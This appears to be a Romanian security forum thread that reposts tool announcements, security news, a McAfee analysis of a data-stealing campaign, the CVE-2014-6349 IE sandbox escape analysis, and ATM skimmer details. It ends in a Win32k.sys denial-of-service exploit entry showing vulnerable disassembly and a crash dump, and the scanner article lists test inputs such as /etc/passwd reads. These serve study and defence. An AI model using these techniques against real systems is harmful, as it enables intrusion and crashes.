[/TD] [/TR] [TR] [TD]Sursa: Windows Password Kracker : Free Windows Password Recovery Software.[/TD] [/TR] [/TABLE]

[h=2].: XNTSV:. [/h] XNTSV is a utility that displays detailed information about Windows system structurs. Download XNTSV(32 bit) ver. 1.8 (OS Windows) Download XNTSV(64 bit) ver. 1.8 (OS Windows) XNTSV is absolute free for commercial and non-commercial use. Sursa: .:NTInfo:.

[h=2].: PDBRipper:. [/h] PDBRipper is a utility for extract a information from PDB-files. PDPRipper can extract: Enumerations User define types(structures, unions ...) Type defines Download PDBRipper ver. 1.12 (OS Windows) PDBRipper is absolute free for commercial and non-commercial use. Sursa: .:NTInfo:.

.: Detect It Easy:. Detect It Easy is a packer identifier Download DIE ver. 0.93 (Mac OS X) Download DIE ver. 0.93 (Windows) Download DIE ver. 0.93 (Linux Ubuntu 32-bit(x86)) Download DIE ver. 0.93 (Linux Ubuntu 64-bit(x64)) For other Linux you can try to compile DIE from the sources. Download DIE DLL (Windows) Download DieSort (Windows) Plugin for HIEW (author exet0l) more info Plugin for CFF Explorer(32 bits only!)(author exet0l) more info GITHUB signatures GITHUB engine Executable Image Viewer (This program uses DIE DLL) more info(EN,PL) Detect It Easy is absolute free for commercial and non-commercial use. Sursa: .:NTInfo:.

Behavior Analysis Stops Romanian Data-Stealing Campaign By Ankit Anubhav , Christiaan Beek on Dec 03, 2014 In a recent press announcement, McAfee and Europol’s European Cyber Centre announced a cooperation of our talents to fight cybercrime. In general these joint operations are related to large malware families. Writing or spreading malware, even in small campaigns, is a crime. McAfee Labs doesn’t hesitate to reach out to its partners and contacts in CERTs and law enforcement. In the following case, a new Romanian-based data-stealing campaign was caught early due to behavioral and data analytics. In our sample behavioral database, we found a new site hxxp://virus-generator.hi2.ro. Visiting the link revealed an open directory that allowed us to browse the content: Often we observe that malware authors become overzealous in attacking victims, and forget to protect their own malware servers. Despite this campaign’s effectiveness, the malware authors took very little care to ensure that they themselves were not breached. The binaries, which help us to understand how this campaign works, are injector.exe and blurmotion.exe. As the name suggests, injector.exe compromise the victim’s system via code injection in Internet Explorer. It first disables the firewall to ensure a smooth connection to the malware control server. With the help of the mget command, the malware connects control site and downloads the payload blurmotion.exe. The fact that the malware site doesn’t use any authentication makes sense because it leads to a swift connection between the victim and the attacker. Once the payload is downloaded, the batch file root.vbs takes over. This batch file is dropped by injector.exe and ensures that blurmotion.exe is executed. We see the use of wscript.sleep 30000, which makes sure no activity happens for 5 minutes. This could be an attempt to deceive malware analyzers that the sample won’t do anything. Necessary run entries make sure root.vbs runs. After that a misspelled “restartt” is forced. After this step, the system goes into a forced restart, and by this time the work of injector.exe (to download and install the payload) is done. From here the payload takes over. Blurmotion.exe, like its parent, drops a batch file to perform malicious activities. Blurmotion takes the username of the victim and dumps all the processes running in the victim’s system with the name %usename%.ini. Once the stolen data is logged, the malware uploads it to the control server via the mput command. We can see “echo cd BM” used in commands. This is the same BM folder on the malware control server that stores the logs of all victims. Like the payload, this stolen data is exposed to anyone who finds the malware control server. Our test virtual machine “victim” was named Klone, and we found it quickly uploaded on the control server. The size of Klone.ini is zero because we had reverted to the virtual machine before the malware could steal data. In all the other infected user logs, we can see the malware executable blurmotion.exe running, confirming that those systems had been compromised. We can also see repeated connections made to a specific site (mygarage.ro), possibly an attempt to increase its traffic. The author is so aggressive that he or she even tried to overclock the CPU to bring more traffic to this site. The author succeeded in these attempts. In our internal behavioral database we found a lot of redirects to this site. McAfee detects these payloads as Rodast. McAfee SiteAdvisor also warns against connecting to this site: Because the campaign was based in Romania, McAfee Labs contacted the Romanian CERT. After we discussed the approach and strategy with them, the Romanian team took the appropriate actions, and gave us permission to publish our analysis of the campaign in this article. Malware authors sometimes act carelessly, and assume that they are safe if no one detects them. But data from behavioral analysis, along with cooperation with CERTs and law enforcement, can find live campaigns and stop them. Sursa: Behavior Analysis Stops Romanian Data-Stealing Campaign | McAfee

[h=2]Facebook Partners With ESET to Fight Malware[/h]By Brian Prince on December 03, 2014 Facebook is teaming with security vendor ESET to improve defenses against malware. The move follows a partnership Facebook announced in May involving F-Secure and Trend Micro. "[F-Secure and Trend Micro] built free versions of their products directly into Facebook so that people could get the help they need without additional hassle," blogged Chetan Gowda, a software engineer on the Site Integrity team at Facebook. "Today, we are expanding those capabilities by adding the anti-malware technology of another IT security vendor, ESET," he wrote. "A larger number of providers increases the chances that malware will get caught and cleaned up, which will help people on Facebook keep their information more secure." According to Facebook, if the device a user is using to access its services is behaving suspiciously and shows signs of a possible malware infection, a message will appear offering the user an anti-malware scan for their device. The user can run the scan, see the results and disable the software without logging out of Facebook. "Glancing through headlines in recent months reveals that malware continues to be a persistent problem for governments, companies, and individuals," Gowda noted. "With the potential to remain undetected on devices for months, malicious code can collect personal information and even spread to other computers in some cases. Compounding the challenges for defense, most people lack basic anti-malware programs that could protect their devices or clean up infections more quickly. "We've worked with ESET to incorporate their finely tuned security software directly into our existing abuse detection and prevention systems, similarly to what we did earlier this year with the other providers," Gowda continued. "Together, these three systems will help us block malicious links and harmful sites from populating the News Feeds and Messages of the 1.35 billion people who use Facebook." Sursa: Facebook Partners With ESET to Fight Malware | SecurityWeek.Com

HackRF Blue: A Lower Cost HackRF Earlier in the year the HackRF One was released by Micheal Ossmann. It is a transmit and receive capable software defined radio with a 10 MHz to 6 GHz range which currently sells for around $300 USD. Since the HackRF is open source hardware, anyone can make changes to the design and build and sell their own version. The HackRF Blue is a HackRF clone that aims to sell at a lower cost. By sourcing lower cost parts that still work well in the HackRF circuit, the team behind the HackRF Blue were able to reduce the price of the HackRF down to $200 USD. They claim that the HackRF Blue has the same performance as the HackRF One and is fully compatible with the HackRF software. They are currently seeking funding through an IndieGoGo campaign. Their main goal through the funding is to help provide underprivileged hackerspaces with a free HackRF. The HackRF Blue https://www.youtube.com/watch?feature=player_embedded&v=giSax3XBbJ4 Sursa: HackRF Blue: A Lower Cost HackRF - rtl-sdr.com

Escaping the Internet Explorer Sandbox: Analyzing CVE-2014-6349 8:00 pm (UTC-7) | by Jack Tang (Threats Analyst) Applications that have been frequently targeted by exploits frequently add sandboxes to their features in order to harden their defenses against these attacks. To carry out a successful exploit, an attacker will have to breach these sandboxes to run malicious code. As a result, researchers will pay particular attention to exploits that are able to escape sandboxes. In both October and November Patch Tuesday cycles, Microsoft addressed several vulnerabilities that were used by attackers to escape the Internet Explorer sandbox. One of these was CVE-2014-6349, which was addressed by Microsoft as part of MS14-065, November’s cumulative Internet Explorer patch. We chose this particular vulnerability for two reasons: exploiting it is relatively easy, and its methodology – using shared memory to escape the Internet Explorer sandbox – has not been seen before. A separate vulnerability that also allowed for sandbox escapes – CVE-2014-6350 – was also fixed in the same patch, and Google released details about this second vulnerability earlier this week. Internet Explorer 11 exposes a shared memory section object to all tab process (which are sandboxed). This is used to store various Internet Explorer settings. Normally, the tab processes only read this to see these settings. However, in Enhanced Protected Mode (EPM, which is IE’s sandbox mode), the shared memory section‘s DACL (Discretionary Access Control List) is not configured correctly. The tab processes have “write” permission to modify the shared memory section content. This can be used by an attacker to break the IE sandbox. How can this be done? We will explain this in the rest of this post. To understand the concepts covered in this post, background knowledge about Protected Mode (PM) and EPM is necessary. These MSDN documents and HITB presentations provide background information on these topics. I carried out my tests on a system running Windows 8.1 with Internet Explorer 11.0.9600.17107. After enable IE 11’s EPM mode, we run IE. The broker process and tab process are seen below: Figure 1. Internet Explorer broker and tab processes The parent iexplore.exe broker process’s integrity is Medium. The iexplore.exe tab process’s integrity is AppContainer. This means the web page rendering in the sandboxed tab process is in the sandbox and its privilege is controlled. Both process share a memory section: \Sessions\1\BaseNamedObjects\ie_ias_<frame process id>-0000-0000-0000-000000000000. The section object’s DACL (Discretionary Access Control List) status is below: Figure 2. Access Control List for shared memory The ACE (Access Control Entry) for SID S-1-15-3-4096 is encircled. This shows that this particular “user” can modify the shared memory. What is S-1-15-3-4096? It is a “capability” whose name is “internetExplorer”. This particular concept was introduced in Windows 8 with AppContainer (please refer to the HITB presentation). Now, let us check the sandboxed tab process’s security tokens: Figure 3. List of sandboxed tab process security tokens The above shows us that the sandbox tabs can modify the memory of the shared memory section. Because of the shared memory section’s role, the sandbox can be escaped. Before we look into why, we can examine the previous protections that were used by Internet Explorer. Figure 4. Architecture of Internet Explorer Internet Explorer 8 introduced the Loosely-coupled Internet Explorer (LCIE) architecture to improve the browser’s reliability. In IE11 EPM mode, the broker process is running with middle integrity and the tab processes are running in AppContainer (i.e., each is sandboxed). The broker process manages the children tab processes, with each invidual tab process rendering various oben web pages. In Figure 4, CBrowserFrame within the broker process receives and dispatches messages to process the procedure CBrowserFrame:: FrameMessagePump(). CTabWindow represents tab windows, which each CTabWindow instance corresponding to a sandboxed tab process. The CTabWindowManger manages existing CTabWindow instances, for example, creating a new instance or finding an existing instance. The shared memory contains the immutable application state (IAS), which is queried by the parent broker process and the sandboxed processes. The shared memory’s address was hold by a global variable whose full name is g_pvImmutableApplicationStateMappingBaseAddress. For convenience , we can call this shared memory as shared IAS memory. This memory is created when the broker process starts. Below is the call stack: Figure 5. Call stack After CreateFileMapping is called, the access control information for this section object will be set. Figure 6. Setting the access control information The vulnerability exists in the circled code. The SetWindowsHandleAccess function’s parameter is not set correctly, which leads to the shared memory section object’s ACE for the internetExplorer capability to have the modify permission. Why can the attacker escape from the IE sandbox by modified shared IAS memory? Let us examine the contents of this memory space. It is 0x25C in size, and the table below lists its contents. Table 1. Contents of shared memory space We can guess that if an attacker can modify the relevant byte(s) from a sandboxed process, it will control parent broker process’s behavior. For example, let us try the offset 0x2C. Its value is normally 1. We set it to zero from a sandboxed tab process. Normally, when a new tab is created, this is what is seen. A new process is created for the new tab. Figure 7. Normal setup – separate processes per tab If the boolean value at 0x2C is set to zero, a process for a new tab window is not created, as seen below: Figure 8. No separate processes per tab Two tabs only have one process. Checking the new tab’s properties, we find: Figure 9. Protected Mode turned off The page is not in sandbox mode (EPM mode). We know that 0x2C is a flag that determines whether a new process is created for a new tab, but how does this lead to a sandbox escape? When the user clicks the “New Tab” button in the IE UI, the broker process’s CBrowserFrame:: FrameMessagePump() function will get the message, and will dispatch the corresponding window’s procedure to handle the message. Finally, it will call CTabWindowManager to create a CTabWindow instance, and will then query the shared IAS memory at 0x2c to decide whether to create new process for the tab window or create a new thread instead. If this value is 1, a new process is created. If it is 0, the broker process only creates a new thread for the new tab. However, in this case, the new tab renders in the parent broker process’s instance. We can see that the behavior of the parent broker process was modified by the sandboxed process – hence, the sandbox has been breached using this method. Any breach of a sandbox is dangerous and may be exploited in more dangerous attacks. This vulnerability was fixed by Microsoft by correcting the ACE of the internetExplorer capability for the shared IAS memory. Figure 10. Corrected ACE This can be seen in the code below. Figure 11. Modified code Sursa: Escaping the Internet Explorer Sandbox - Analyzing CVE-2014-6349 | Security Intelligence Blog | Trend Micro

Toorcon 16 - Reverse Engineering Malware For Newbies Description: http://gironsec.com/code/Re_For_Nubs.tgz For More Information please visit: - ToorCon | Information Security Conferences Via: Toorcon 16 - Reverse Engineering Malware For Newbies

Duktape Duktape is an embeddable Javascript engine, with a focus on portability and compact footprint. Duktape is easy to integrate into a C/C++ project: add duktape.c and duktape.h to your build, and use the Duktape API to call Ecmascript functions from C code and vice versa. Main features: Embeddable, portable, compact; about 210kB code, 80kB memory, 40kLoC source (excluding comments etc) Ecmascript E5/E5.1 compliant, some features borrowed from E6 draft Built-in regular expression engine Built-in Unicode support Minimal platform dependencies Combined reference counting and mark-and-sweep garbage collection with finalization Custom features like coroutines, built-in logging framework, and built-in CommonJS-based module loading framework Property virtualization using a subset of Ecmascript E6 Proxy object Liberal license (MIT) Current status: Stable Support: User community Q&A: Stack Overflow duktape tag Bugs and feature requests: GitHub issues General discussion: IRC #duktape on chat.freenode.net (webchat) Sursa: Duktape

Bre, nu va mai faceti publice adresele de mail...

[h=1]american fuzzy lop (0.85b)[/h] American fuzzy lop is a security-oriented fuzzer that employs a novel type of compile-time instrumentation and genetic algorithms to automatically discover clean, interesting test cases that trigger new internal states in the targeted binary. This substantially improves the functional coverage for the fuzzed code. The compact synthesized corpora produced by the tool are also useful for seeding other, more labor- or resource-intensive testing regimes down the road. Compared to other instrumented fuzzers, afl-fuzz is designed to be practical: it has modest performance overhead, uses a variety of highly effective fuzzing strategies, requires essentially no configuration, and seamlessly handles complex, real-world use cases - say, common image parsing or file compression libraries. [h=2]The "sales pitch"[/h] In a hurry? There are several fairly decent reasons to give afl-fuzz a try: It is pretty sophisticated. It's an instrumentation-guided genetic fuzzer capable of synthesizing complex file semantics in a wide range of non-trivial targets, lessening the need for purpose-built, syntax-aware tools. It also comes with a unique crash explorer to make it dead simple to evaluate the impact of crashing bugs. It has street smarts. It is built around a range of carefully researched, high-gain test case preprocessing and fuzzing strategies rarely employed with comparable rigor in other fuzzing frameworks. As a result, it finds real bugs. It is fast. Thanks to its low-level compile-time instrumentation and other optimizations, the tool offers near-native fuzzing speeds against common real-world targets. For example, you can get 2,500+ execs per second per core with libpng. It's rock solid. Compared to other instrumentation- or solver-based fuzzers, it has remarkably few failure modes. It also comes with robust, user-friendly problem detection that guides you through any potential hiccups. No tinkering required. In contrast to most other fuzzers, the tool requires essentially no guesswork or fine-tuning. Even if you wanted to, you will find virtually no knobs to fiddle with and no "fuzzing ratios" to dial in. It's chainable to other tools. The fuzzer generates superior, compact test corpora that can serve as a seed for more specialized, slower, or labor-intensive processes and testing frameworks. It sports a hip, retro-style UI. Just scroll back to the top of the page. Enough said. Want to try it out? Check out the documentation or grab the source code right away. [h=2]The bug-o-rama trophy case[/h] The fuzzer is still under active development, and I have not been running it very systematically or at a scale. Still, based on user reports, it seems to have netted quite a few notable vulnerabilities and other uniquely interesting bugs. Some of the "trophies" that I am aware of include: [TABLE] [TR] [TD]IJG jpeg 1 [/TD] [TD]libjpeg-turbo 1 2 [/TD] [TD]Mozilla Firefox 1 2 3 4 [/TD] [/TR] [TR] [TD]Google Chrome 1 [/TD] [TD]Internet Explorer 1 2 [/TD] [TD]bash (post-Shellshock) 1 2 [/TD] [/TR] [TR] [TD]GnuTLS 1 [/TD] [TD]GnuPG 1 2 [/TD] [TD]OpenSSH 1 2 3 [/TD] [/TR] [TR] [TD]FLAC audio library 1 [/TD] [TD]tcpdump 1 2 3 4 5 6 [/TD] [TD]dpkg 1 [/TD] [/TR] [TR] [TD]systemd-resolved 1 2 [/TD] [TD]strings (+ related tools) 1 2 3 4 5 6 7 [/TD] [TD]less / lesspipe 1 2 3 [/TD] [/TR] [TR] [TD]rcs 1 [/TD] [TD]OpenBSD pfctl 1 [/TD] [TD]man & mandoc 1 [/TD] [/TR] [TR] [TD]libyaml 1 [/TD] [TD]Info-Zip unzip 1 [/TD] [TD]procmail 1 [/TD] [/TR] [TR] [TD]libsndfile 1 2 3 [/TD] [TD]fwknop[/TD] [TD]mutt 1 [/TD] [/TR] [/TABLE] Plus, probably, quite a few other things that weren't attributed to the tool and that I have no way of knowing about. [h=2]Download & other useful links[/h] Here's a collection of useful links related to afl-fuzz: Current and past releases of the tool (changes), Online copy of the README file, Description of the status screen, Generated test cases for common image formats, Notes on the inspiration and design goals for afl-fuzz. The tool is confirmed to work on x86 Linux, OpenBSD, FreeBSD, and NetBSD, both 32- and 64-bit. It should also work on MacOS X and Solaris, although with some constraints. It supports programs written in C, C++, or Objective C, compiled with either gcc or clang. Java programs compiled with GCJ can be supported with very little effort. If you are honestly interested, ping me and I'll help you set it up. For fuzzing Python, you may want to check out this module from Jakub Wilk. To send bug reports, feature requests, or chocolate, simply drop a mail to lcamtuf@coredump.cx. Sursa: american fuzzy lop

[h=1]Google Reinvents the CAPTCHA[/h] [h=4]Tara Seals US/North America News Reporter, Infosecurity Magazine[/h] Email Tara We’re all familiar with reCAPTCHAs: those scrambled letter ciphers that users are asked to key in, in order to protect websites from spam and abuse by robots. For years, web surfers have been asked to read distorted text and type it into a box—leading to a safer web, but a more frustrated user populace. Sometimes, not even live humans can get the CAPTCHAs right. Google aims to change all of that—by reinventing the CAPTCHA experience. “We figured it would be easier to just directly ask our users whether or not they are robots—so, we did!” said Vinay Shet, Google’s product manager for reCAPTCHA, in a blog. “We’ve begun rolling out a new API that radically simplifies the reCAPTCHA experience. We’re calling it the ‘No CAPTCHA reCAPTCHA.’” Now, users are asked to simply check a box that asks, “Are you sure you’re not a robot?” From there, in some cases, a CAPTCHA to solve will be presented. But not always. While the user experience will be better, there’s another reason for the change: Today’s artificial intelligence technology can solve even the most difficult variant of distorted text, at 99.8% accuracy. “Thus distorted text, on its own, is no longer a dependable test,” Shet said. To counter this, Google has developed an advanced risk analysis back-end for reCAPTCHA that actively considers a user’s entire engagement with the CAPTCHA—before, during, and after—to determine whether that user is a human. “This enables us to rely less on typing distorted text and, in turn, offer a better experience for users,” Shet said. And, “while the new reCAPTCHA API may sound simple, there is a high degree of sophistication behind that modest checkbox.” In cases when the risk analysis engine can't confidently predict whether a user is a human or an abusive agent, it will prompt a CAPTCHA to elicit more cues, increasing the number of security checkpoints to confirm the user is valid. Google has also worked on the mobile aspect of CAPTCHAs—after all, typing in a code on a smaller screen offers plenty of room for mis-typing and customer dissatisfaction. So, in one example, a website visitor may be asked to tap, say, all of the pictures of turkeys within a screen of animal tiles. “This new API…lets us experiment with new types of challenges that are easier for us humans to use, particularly on mobile devices,” Shet said. Websites are already adopting these methods, including early adopters like Snapchat, WordPress, Humble Bundle and others. “For example, in the last week, more than 60% of WordPress’ traffic and more than 80% of Humble Bundle’s traffic on reCAPTCHA encountered the No CAPTCHA experience—users got to these sites faster,” Shet said. “Humans, we'll continue our work to keep the Internet safe and easy to use. Abusive bots and scripts, it’ll only get worse—sorry we’re (still) not sorry.” Sursa: Google Reinvents the CAPTCHA - Infosecurity Magazine

[h=1]?i ho?ii ?in pasul cu tehnologia: a?a arat? noile Skimmere "invizibile" folosite la clonarea cardurilor de credit[/h] Aurelian Mihai - 3 dec 2014 Dispozitivele aplicate pe bancomate cu scopul a clona cardurile de credit au atins un nivel impresionant de miniaturizare, devenind practic invizibile pentru persoane neavizate. F?r? componente la vedere, noile Skimmere ATM prezint? un risc real la adresa bancomatelor amplasate în spa?ii publice. Deghizate ingenios pentru a atrage cât mai pu?in aten?ia în timpul cât sunt ata?ate de bancomat, dispozitivele de tip Skimmer folosite de infractori pentru clonarea cardurilor bancare se afl? într-o continu? evolu?ie. Recent descoperit la un bancomat din Europa, un nou tip de Skimmer ATM realizat folosind metoda “wiretapping” pare s? fi g?sit camuflajul perfect, dispozitivul fiind instalat practic în interiorul ATM-ului, ac?ionând f?r? a da nimic de b?nuit. Skimmer realizat prin metoda ?wiretapping? Procedeul de instalare presupune aplicarea unei g?uri pe carcasa ATM-ului, chiar în dreptul fantei pentru card. Mai departe, infractorii conecteaz? un dispozitiv de înregistrare miniatural direct la cititorul de card-uri al ATM-ului folosind unelte ?i echipament personalizat. Pentru a nu da de b?nuit, gaura este deghizat? folosind un ab?ibild imitând instruc?iunile de utilizare a bancomatului. Skimmer-ul instalat chiar în interiorul ATM-ului înregistreaz? datele card-urilor în mod autonom. Pentru colectarea datelor recoltate ho?ii nu trebuie decât s? dezlipeasc? ab?ibild-ul ?i s? conecteze firul r?mas la vedere unui dispozitiv de stocare extern. Pân? la alertarea autorit??ilor, procedeul de recoltare a datelor poate fi repetat ori de câte ori este nevoie. Skimmer proiectat pentru a fi strecurat direct în slot-ul pentru acceptare a card-ului O alt? inova?ie în domeniul Skimmerelor ATM este un dispozitiv de forma unei pl?cu?e din o?el, con?inând toate componentele electronice necesare ?i un acumulator suficient pentru pân? la 2 s?pt?mâni de activitate. Proiectat pentru a fi strecurat direct în slot-ul pentru acceptare a card-ului, ?i acesta este complet invizibil pentru utilizatorii aparatului. Diferen?a este c? în loc de cablu, datele colectate sunt trimise prin conexiune wireless unui smartphone aflat în buzunarul infractorului prezentat în fa?a bancomatului ca ?i vizitator. Pentru ca datele colectate de pe card-urile de credit s? poat? fi utilizate este necesar? ?i interceptarea cod-ului pin, folosind o camer? video miniatural? deghizat? într-un panou ata?at în dreptul tastaturii. Sursa: ?i ho?ii ?in pasul cu tehnologia: a?a arat? noile Skimmere "invizibile" folosite la clonarea cardurilor de credit

[h=1]Limitations of Automated Web Application Vulnerability Scanners[/h] [h=2]Introduction[/h] Many security specialists rely solely on Web Application Vulnerability Scanners for security testing. Depending only on automated vulnerability scanners will lead to a false sense of security because it leaves out many tests that can only be run manually. In this article we will give you a better understanding of the capabilities and limitations of automated vulnerability scanners so you can make educated decisions when conducting web application security assessments. [h=2]What is a web application vulnerability scanner?[/h] Web application vulnerability scanners are the automated tools that scan web applications to look for signatures of known security vulnerabilities such as cross-site scripting, SQL injection and others. There are several commercial and free vulnerability scanners available on the market, here is the list of the most popular tools: AppScan (IBM) Burp Suite (PortSwiger) Nessus (Tenable Network Security) NeXpose (Rapid 7) WebInspect (HP) Websecurify Suite (Websecurify) Zed Attack Proxy (OWASP). Some of the scanners require nothing except the link to the target websites, while others need some configuration before you run them. Most of them have advanced configuration options where the user can fine-tune the scanner (disable unneeded modules, setup the maximum number of threads, configure test and risk levels, etc.) before running the test. [h=2]What do vulnerability scanners can identify?[/h] Despite the difference in configuration the automated web app scanners mentioned above and others on the market can detect the following: Some SQL Injections using common techniques like causing database errors (i.e.: by sending a single quote), a time delay (by injecting the “sleep()” function in the query on MySQL server or “waitfor delay” on MS SQL server) Most of the reflected Cross-site scripting (XSS) vulnerabilities – where malicious JavaScript code can be injected in the request and is returned in the response Some of the stored XSS vulnerabilities – where malicious JavaScript is stored on the sever and is displayed every time somebody (can be the attacker or an unsuspecting user) is requesting a specific page Very few DOM-based XSS vulnerabilities – where user-controllable data is used by client-side JavaScript Path traversal vulnerabilities – arbitrary read of the files on the vulnerable web server (/etc/passwd or win.ini are usually used for this test) File inclusion vulnerabilities – arbitrary file from the Internet can be included in the response (i.e. random text file from attacker controllable server) Command injection vulnerabilities by injecting a command which will delay the response (i.e.: ping localhost 20 times) or return specific output in the response (i.e. ipconfig) Hidden pages and files Directory listing Webserver vulnerabilities Other vulnerabilities like cleartext password submission, session tokens in URL, password field autocomplete, SSL cookie without secure flag, frameable responses which can be determined by analyzing the requests and responses of the web application [h=2]What can go wrong?[/h] In some cases the web application vulnerability scanners may fail to detect some of the vulnerabilities mentioned above or may not work properly. Below is the list of the top reasons why automated vulnerability scanners might not work: Custom-built authentication mechanism – when a web application uses proprietary approaches to authenticate the users (multi-step authentication, non-standard session management, etc) sometimes the scanner my fail to login and only scan unauthenticated parts of the web application Web applications with heavy use of AJAX – many of the web scanners spiders do not handle dynamic AJAX content properly Web sites with a lot of content or with a high number of dynamically generated pages – sites like Amazon, Facebook, eBay and YouTube where there are thousands of similar pages with different content, new pages are generated because of the user actions (including vulnerability scanner generating new pages while doing the scan) or when each requests receives a unique response URL [h=2]What do vulnerability scanners are not able to do?[/h] In addition to the limitations mentioned above the scanners are not smart enough to test for specific vulnerabilities in the application logic. Web application vulnerability scanners are not able to test for: Authentication vulnerabilities such as username enumeration, resilience to password guessing, any account recovery functions, credentials predictability or any other logic flaws in the authentication Session management flaws like meaningful or predictable tokens, session fixation, mapping tokens to session, session hijacking etc. Vulnerabilities in access controls where a user can access others’ user data or admin functionality without having admin privileges assigned Application logic flaws such as ordering negative number of items, skipping a stage in multi-stage processes (i.e. going straight to shipping page skipping the payment page) etc. Shared hosting vulnerabilities – test segregation in shared infrastructure or between ASP-hosted applications Leakage of sensitive information such as password hashes in the hidden fields or user logs [h=2]Where are vulnerability scanners in the web applications testing methodology?[/h] Here is a typical web application testing methodology with highlighted stages which can be partially automated with vulnerability scanners1: [h=2]Know your tools[/h] To summarize, automated web application scanners are essential tools for any vulnerability assessment or penetration tests but you should know their capabilities and limitations. However, a qualified penetration tester is still required to know how interpret the results, perform advanced manual testing and understand the risks to the organization. For information on how vulnerability assessments and penetration testing fits into an overall security testing program read Seven Tips for Increasing your Web Application Security . Resources: Source: The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws By Arsenii Pustovit – Information Security Analyst @ Eosensa Sursa: Limitations of Automated Web Application Vulnerability Scanners | Eosensa

Bre, toate informatiile sunt publice. Ca si acest topic. Singurele informatii private sunt adresele IP ( dar... stiti voi ) si mesajele private pe care fiecare le poate sterge. In rest, oricine poate sa vada ca eu zic acum "Muie Garda".

Mai ales cand Paypal PLATESTE pentru asa ceva. E ceva necurat la mijloc. Cineva are ceva cu el...

[h=1]Microsoft Windows Win32k.sys - Denial of Service[/h] # Exploit Title: Microsoft Windows Win32k.sys Denial of Service # Date: 20-11-2014 # Exploit Author: Kedamsky (kedamsky@mail.ru) # Vendor Homepage: http://microsoft.com # Software Link: http://www.microsoft.com/en-us/download/windows.aspx # Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64) # Tested on: [XP to 8.1 x86/x64] Microsoft Windows win32k.sys DoS exploit by Kedamsky mailto:kedamsky@mail.ru ========================= Vulnerability Description ========================= The vulnerability exists in the function win32k!xxxMenuWindowProc. It calls the function win32k!xxxMNOpenHierarchy that can return valid pointer to data and 0 or -1 otherwise. The function win32k!xxxMenuWindowProc does not validate the result of win32k!xxxMNOpenHierarchy properly and it is possible to try to read data from address -1. =============== Vulnerable code =============== 8f584e72 85c0 test eax,eax 8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371) 8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1 ... 8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260) 8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72) ================ Typical bugcheck ================ ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffffffff FAULTING_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] MM_INTERNAL_CODE: 0 IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60 MODULE_NAME: win32k FAULTING_MODULE: 8f480000 win32k DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: DOS3_1E3.exe CURRENT_IRQL: 2 TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64) ErrCode = 00000000 eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270 eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 win32k!xxxMenuWindowProc+0xa09: 8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98 STACK_TEXT: 9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction 9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c 9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d 9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a 9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc 9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09 9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4 9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c 9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27 9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6 9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a 0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet 0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc 0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5 0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c 0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22 0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100 0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21 0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24 0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e 0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc 0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68 0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23 0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b 0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7 0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c 0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41 0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7 0035f78c 76372af0 00a9a640 00000202 00000000 